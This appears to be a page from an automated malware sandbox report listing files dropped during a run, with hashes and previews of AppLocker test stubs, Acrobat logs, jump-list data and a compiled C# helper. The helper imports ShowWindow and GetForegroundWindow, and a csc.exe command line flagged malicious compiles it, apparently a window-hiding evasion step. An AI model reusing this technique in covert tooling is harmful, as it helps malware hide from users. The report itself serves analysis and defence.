SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pnw3qw3o.qbo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qva25t50.vil.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r2jqwqwf.owe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z1ayybie.g1v.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-29 02-24-38-313.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.410719097797356
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbvswcbGI/xcbh:ceo4+rsCNsV/O
MD5:	DE152EB65D1348545593AEDA51207871
SHA1:	EB56FF7F7B11B023DF7FA3C3FF4DF8FBD92E5661
SHA-256:	22C4DA1D81DFB74B5403ABF730D983F5274CA423D38C04164418B9533C2E92D5
SHA-512:	1D369D91B7B7CE7EE65AFBD515E336344D78EA6A3880F54ACF382177E69B8C18EBC08CFA6522F05B45DB21A5631159CE7C4BFCC0CEFE0F081C09F717197C2CBF
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\plizasuj\CSCCBC46C10AB9F47138B8378156B25D455.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0923928166230668
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryG1ak7YnqqT6PN5Dlq5J:+RI+ycuZhNuakSWPNnqX
MD5:	5F76F4BAC70682E28BE03AA5153D99FA
SHA1:	98FB4817818DB42D729009282E2A6D02C6A45693
SHA-256:	D4D6F0B4E765EF732E3DBDF840C916B2F058B5AF7A7BC57C3FA3EA3ABAC6CBE6
SHA-512:	FDC31FC0A6BB2E3E8B4D857297E4B3D56A48402414F32F82923C9993DA09103DF1F51BCB3C54C50002868BB25CE6F3294AFF3E937D909EF71687BAC17EFBC8D6
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...p.l.i.z.a.s.u.j...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...p.l.i.z.a.s.u.j...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	244
Entropy (8bit):	4.952945910145069
Encrypted:	false
SSDEEP:	6:V/DssSuVY/so68SRvoSoODnso68SRaqK4Li:V/D9PY/REvoOnREfe
MD5:	6E7BC02C23E28738F9898185137720DB
SHA1:	F0450E92B0D01C2A0D23DEF93299FFD1512FAB46
SHA-256:	80A682DC3D4FEF7A23471B441BBA682648D7373DEB9889E0017E3BBBA43754E7
SHA-512:	FF24CEDAD3619B0D2379F668A06CE36A5DAFF2EBC2B11FCF8BD960C3272D99F5F77EDCA893701A6232DC9EB07794C8D2ABC3FD802CE7E5638EE87291DE1AAEFB
Malicious:	false
Preview:	.using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern int ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); }

C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.215943710262044
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CHhJ23fCa9bWaD+zxs7+AEszICHhJ23fCa97:p37Lvkmb6KiqawaqWZEvqawaP
MD5:	D907DDB47AAE89525678F1895B6D92FB
SHA1:	D7714A032E24496374656712E0050C9752625D61
SHA-256:	49F460B6A3DD39A694DF8964FA3BB5A097EC64DA7AAEAD3716FB0BA510001EB7
SHA-512:	7C4FFEC974A53A36CC94BC5586B66B207DFC52D4D5FE95E95F9561D6F1367F343D52D73DCFC393957AD0A299FD57196C2A5E89E370CAC259E7EC66936EAB146B
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.0.cs"

C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.785460790948678
Encrypted:	false
SSDEEP:	24:etGSn9J2JJi8R86QMBTQNetkZf9K91ZZL3+WI+ycuZhNuakSWPNnqI:6nONR9ZQNRJ9K7/L3l1ulua3qqI
MD5:	40E3563B64DA578F28E936AF99451484
SHA1:	07D3DCDCB5D8B45FE4CBCD49002F09DED9A51FF2
SHA-256:	48365BD51015CFD86A90A9809972C4FA7D7C7701CDB0294EFB33B123706BCA67
SHA-512:	6DAABCE5B66B07D5EE820DC135C539A2C41D078EDAA5920744FE57004002FD936578F5A16A7D7440EA3D510A04ABFADC5B665F1785BC7386CC3E2556DA1A3D10
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}Ig...........!.................#... ...@....... ....................................@.................................P#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................-.&.....g.....g.......................................... 4............ ?.....P ......S.........Y.....^...S.....S...!.S.....S.......".....+.......4.......?..................................................<Module

C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.310643271733839
Encrypted:	false
SSDEEP:	24:KOId3ka6KibVLEvbV2Kax5DqBVKVrdFAMBJTH:xkka6LbVLEvbV2K2DcVKdBJj
MD5:	A983337088A3044BF704B91FCC97DB44
SHA1:	9AB07E8D0F66DCC4835665953A1068B43D5E42DD
SHA-256:	E74E3D0BF4B78A711F57A5CE1624229F38DC480D2977C421FD3E20CE90E90019
SHA-512:	1110A329D82CA88627D96E40CBE677D2896D5C87E7F5F4503E95A444CF1831C0081701C2B3481E74EE5F72B009FA9B6C2DC66FC5614697934A34B8F524B4E125
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.716049929740792
Encrypted:	false
SSDEEP:	96:Bq4ZLruL+LiC/LnP8jkvhkvCCtPnBrNv3HZACt8CqrNvIHZACt8Cu:84ZvuK57PIPnBrfttBqrkttBu
MD5:	9A95CB6ECCC7A5A4C76749A3709E8890
SHA1:	F9D4DABF471568E9E3B91BF709ADE6E44E6E0708
SHA-256:	FD7287DD087DB8E0186716291275FF4B8EB7CD342E2FFB5FFC99060659D182D7
SHA-512:	8D99A9E7819E55FBBFDD14F681564F94C4A5FBB4B53B49AD779EB2F0C2A89D2CD715CE9D2990E8C8FB537866CEAF9D0A8114155A67B2E78AAE7E31949372C715
Malicious:	false
Preview:	...................................FL..................F.".. ......Yd..._AC./B..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......y.Yd...-.../B....X./B......t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B}Y.;..........................d...A.p.p.D.a.t.a...B.V.1.....}Y.;..Roaming.@......EW)B}Y.;..........................-]..R.o.a.m.i.n.g.....\.1.....EW.C..MICROS~1..D......EW)B}Y.:............................ .M.i.c.r.o.s.o.f.t.....V.1.....EW.D..Windows.@......EW)B}Y.:..........................+.I.W.i.n.d.o.w.s.......1.....EW+B..STARTM~1..n......EW)B}Y.:....................D.....b60.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW(C..Programs..j......EW)B}Y.:....................@.......D.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)BEW)B..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW)B}Y.;.....0..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF44fe99.TMP (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.716049929740792
Encrypted:	false
SSDEEP:	96:Bq4ZLruL+LiC/LnP8jkvhkvCCtPnBrNv3HZACt8CqrNvIHZACt8Cu:84ZvuK57PIPnBrfttBqrkttBu
MD5:	9A95CB6ECCC7A5A4C76749A3709E8890
SHA1:	F9D4DABF471568E9E3B91BF709ADE6E44E6E0708
SHA-256:	FD7287DD087DB8E0186716291275FF4B8EB7CD342E2FFB5FFC99060659D182D7
SHA-512:	8D99A9E7819E55FBBFDD14F681564F94C4A5FBB4B53B49AD779EB2F0C2A89D2CD715CE9D2990E8C8FB537866CEAF9D0A8114155A67B2E78AAE7E31949372C715
Malicious:	false
Preview:	...................................FL..................F.".. ......Yd..._AC./B..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......y.Yd...-.../B....X./B......t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B}Y.;..........................d...A.p.p.D.a.t.a...B.V.1.....}Y.;..Roaming.@......EW)B}Y.;..........................-]..R.o.a.m.i.n.g.....\.1.....EW.C..MICROS~1..D......EW)B}Y.:............................ .M.i.c.r.o.s.o.f.t.....V.1.....EW.D..Windows.@......EW)B}Y.:..........................+.I.W.i.n.d.o.w.s.......1.....EW+B..STARTM~1..n......EW)B}Y.:....................D.....b60.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW(C..Programs..j......EW)B}Y.:....................@.......D.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)BEW)B..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW)B}Y.;.....0..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KVJKA876Q2TYPZJIGCF5.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.717856601849372
Encrypted:	false
SSDEEP:	96:qZLruL+LiC/LnPcjkvhkvCCtPnBrNvIHZACt8CqrNvIHZACt8Cu:qZvuK57PoPnBrkttBqrkttBu
MD5:	6D61EAD2C101E236A8F302B702339628
SHA1:	A2D961B9251EDA639A988F4ED4743E8A90A3DDAC
SHA-256:	A4E7A426724EC0DB6A07F4F85F73001A0611F687D0ABE2048A90EDDB6BA4088A
SHA-512:	3A0945056D430DA0615D842943B339B7B62F2AAB7EB748E7BE9D7B7C82BA8E7D4F7A032783448D1BE9082AC8C6C442011C5EAACD0B570817B9CD5BEBB827CAA3
Malicious:	false
Preview:	...................................FL..................F.".. ......Yd...{1../B..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......y.Yd...-.../B...../B......t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B}Y.;..........................d...A.p.p.D.a.t.a...B.V.1.....}Y.;..Roaming.@......EW)B}Y.;..........................-]..R.o.a.m.i.n.g.....\.1.....EW.C..MICROS~1..D......EW)B}Y.:............................ .M.i.c.r.o.s.o.f.t.....V.1.....EW.D..Windows.@......EW)B}Y.:..........................+.I.W.i.n.d.o.w.s.......1.....EW+B..STARTM~1..n......EW)B}Y.:....................D.....b60.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW(C..Programs..j......EW)B}Y.:....................@.......D.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)B}Y.;..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW)B}Y.;.....0..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KYJR6CMDA9Y5E3VG66KQ.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.716049929740792
Encrypted:	false
SSDEEP:	96:Bq4ZLruL+LiC/LnP8jkvhkvCCtPnBrNv3HZACt8CqrNvIHZACt8Cu:84ZvuK57PIPnBrfttBqrkttBu
MD5:	9A95CB6ECCC7A5A4C76749A3709E8890
SHA1:	F9D4DABF471568E9E3B91BF709ADE6E44E6E0708
SHA-256:	FD7287DD087DB8E0186716291275FF4B8EB7CD342E2FFB5FFC99060659D182D7
SHA-512:	8D99A9E7819E55FBBFDD14F681564F94C4A5FBB4B53B49AD779EB2F0C2A89D2CD715CE9D2990E8C8FB537866CEAF9D0A8114155A67B2E78AAE7E31949372C715
Malicious:	false
Preview:	...................................FL..................F.".. ......Yd..._AC./B..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......y.Yd...-.../B....X./B......t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B}Y.;..........................d...A.p.p.D.a.t.a...B.V.1.....}Y.;..Roaming.@......EW)B}Y.;..........................-]..R.o.a.m.i.n.g.....\.1.....EW.C..MICROS~1..D......EW)B}Y.:............................ .M.i.c.r.o.s.o.f.t.....V.1.....EW.D..Windows.@......EW)B}Y.:..........................+.I.W.i.n.d.o.w.s.......1.....EW+B..STARTM~1..n......EW)B}Y.:....................D.....b60.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW(C..Programs..j......EW)B}Y.:....................@.......D.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)BEW)B..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW)B}Y.;.....0..........

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1472
Entropy (8bit):	5.295815803294195
Encrypted:	false
SSDEEP:	24:3/SySKco4KmM6GjKbmuu1o+eZN1s4RPQoUxqr9t7J0gt/NKmnerqVwFsE7W/LDh:aySU4Yymda+gs4RIoUxqr9tK8NlexsfJ
MD5:	B2854EB6F1C3298D15BA0A248C6E525A
SHA1:	62CD0EAF651031E0A9E5B01ED8B5AB46C4C2FDC5
SHA-256:	13DDF4A218EA2ECC81507433ABCDDA673A40B1B878DA0D90DBFE09AD6372CB9B
SHA-512:	0BFCA3392939EAD59FB152092408990148D4C215C9D52CB08878ACC8DEA7ADC944CB946948C678C7E917E693DE1E36878B06B0F297468167ECA58054E0D5E56F
Malicious:	false
Preview:	@...e...........;...............................................L..............@T....T:M...,....;.....".Microsoft.PowerShell.LocalAccounts..H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Command

C:\Windows\Temp\__PSScriptPolicyTest_1xsdlv2a.quc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_23f2owve.cmu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_4rmv3fkk.5lk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_e4onxlrp.hpw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_iq2fbstw.xl4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
